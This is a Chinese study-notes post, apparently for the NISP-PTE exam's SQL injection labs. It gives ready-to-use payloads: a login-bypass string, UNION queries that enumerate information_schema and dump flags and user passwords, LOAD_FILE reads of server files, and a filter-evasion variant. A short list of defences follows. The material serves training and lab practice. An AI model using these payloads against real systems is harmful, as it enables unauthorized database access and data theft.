当前位置: 首页 > news >正文

NISP-PTE基础实操——SQL注入

🔐 一、基础注入知识点

什么是SQL注入?

SQL注入(SQL Injection)是指攻击者通过构造恶意SQL语句,将其注入到Web应用程序的输入中,从而控制后台数据库服务器,达到信息泄露、数据篡改、越权操作等目的。


🧪 二、SQL注入模拟与分类总结

✅ 模拟1:登录绕过 / 万能密码

' OR 1=1 --
  • 原理:利用逻辑表达式永远为真 (1=1),绕过登录验证。

  • 用途:用于登录框、管理员后台等认证接口的绕过。


✅ 模拟2:信息收集类注入(基于UNION的注入)

  1. 注入点探测

    ?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6
    • 检查返回字段数是否正确,判断注入点位置。

  2. 获取数据库名

    SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata
    
  3. 获取数据表名

    SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wasjcms'
  4. 获取字段名

    SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'
  5. 获取字段值

    SELECT flag FROM wasjcms.flag

✅ 模拟3:读取服务器敏感文件

UNION SELECT ..., LOAD_FILE('/var/www/html/key.flag'), ...
  • 函数LOAD_FILE(path) 可读取服务器文件内容(需满足条件如路径可读、权限开放)。

  • 风险:信息泄露、读取flag等敏感数据。


✅ 模拟4:数据库结构探测与读取数据

?id=0 UNION SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.tables WHERE table_schema=database()
  • 探测当前数据库的表结构

  • GROUP_CONCAT(...):合并多行数据为单行输出,便于查看。

?id=0 UNION SELECT ..., GROUP_CONCAT(flag) FROM cms.cms_flag
  • 实际读取指定表字段值


✅ 模拟5:编码绕过与路径文件读取

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23
  • %0b 是 URL 编码的垂直制表符,用于绕过WAF或过滤器。

  • %23# 的URL编码,相当于注释符。


✅ 模拟6:精确信息提取

- 获取当前数据库
(SELECT database())
- 获取表名
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema='php_test'
- 获取字段名
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='users'
- 获取数据内容
SELECT GROUP_CONCAT(username,password) FROM php_test.users

📌 三、常用注入函数与技巧

类别用法/函数说明
绕过' OR 1=1 --登录认证绕过
信息合并GROUP_CONCAT()将多行字段合并
系统函数database(), now(), user()当前数据库/时间/用户
系统表information_schema.tables, columns, schemata探测数据库结构
文件读取LOAD_FILE()读取服务器文件
注释符--, #, /*...*/注释掉原SQL

🧱 四、防御建议

  1. 使用预编译语句(Prepared Statements / ORM)

  2. 对用户输入进行严格校验与转义

  3. 最小权限原则:数据库用户不要授予FILE, SUPER, GRANT, DROP权限

  4. 隐藏错误信息,不返回SQL异常到前端

  5. 部署WAF / IDS 等安全设备进行注入防护

pteSQL注入模拟1

万能密码' OR 1=1 -- 

pteSQL注入模拟2

找注入点

?uuid=-1'+union+ALL+SELECT+'1','2','3','4','5','6

数据库名 wasjcms

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.SCHEMATA),'3','4','5','6

表名 flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='wasjcms'),'3','4','5','6

字段flag

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+'<br>')+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='flag'),'3','4','5','6

数据

?uuid=-1'+UNION+ALL+SELECT+'1',(SELECT+flag+FROM+wasjcms.flag),'3','4','5','6

pteSQL注入模拟3

union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15--+

pteSQL注入模拟4

联合查询

?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--+

?id=0 union select 1,2,group_concat(flag),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag--+

pteSQL注入模拟5

?id=0')%0bununionion%0bselect%0b1,2,3,load_file('/tmp/key.flag')%23

pteSQL注入模拟6

 数据库名:

2','3',(SELECT database()),NOW()) -- 

表:

2',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where table_schema='php_test'),'4',NOW()) -- 

列:

2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='users'),'4',NOW()) -- 
2',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where table_schema='php_test' and table_name='articles'),'4',NOW()) -- 

值:

2','3',(SELECT GROUP_CONCAT(password) from php_test.users),NOW()) -- 

pteSQL注入模拟7

http://www.dtcms.com/a/251370.html

相关文章:

  • Vue3 Pinia Store 生命周期管理
  • Mysql基础入门\期末速成
  • 5G NR PDCCH之CORESET交织映射
  • 25年泰康保险养老社招入职统一测评(心理、认知、潜质)北森真题题库、高分攻略
  • 【系统分析师】第4章-基础知识:计算机网络与分布式系统(核心总结)
  • 从0开始学习语言模型--Day02-如何最大化利用硬件
  • 什么是装饰器?
  • 紧急救援!Ubuntu崩溃修复大赛
  • 三次贝塞尔曲线,二次贝塞尔曲线有什么区别
  • 通达信 玄学首板 抓首版指标
  • 11.OpenCV—联合QT环境配置
  • PoE供电异常如何排查?
  • leetcode 搜索插入位置 java
  • ArcGIS中英文切换
  • 62-STM32的ISP一键下载电路
  • 华为OD机试_2025 B卷_磁盘容量排序(Python,100分)(附详细解题思路)
  • 语言模型是怎么工作的?通俗版原理解读!
  • 第六十四节:基于EasyOCR的中英文文本识别与图像标注技术研究
  • 微信小程序 按钮点击事件
  • 概率期望DP
  • Luckfox Pico Pi RV1106学习<4>:RV1106的帧率问题
  • 易语言模拟真人鼠标轨迹算法 - 非贝塞尔曲线
  • 4,QT文件操作
  • 电路笔记(元器件):PCM5102、PCM510xA I2S音频协议 DAC芯片 PCM5102模块与接线说明
  • Ubuntu中ESP32使用记录
  • 电阻篇---常见作用
  • LeetCode第 454 场周赛题解
  • STM32 开发 - STM32CubeMX 下载芯片支持包、创建 HAL 库工程
  • React学习001-创建 React 应用
  • React条件渲染之逻辑与和逻辑或详解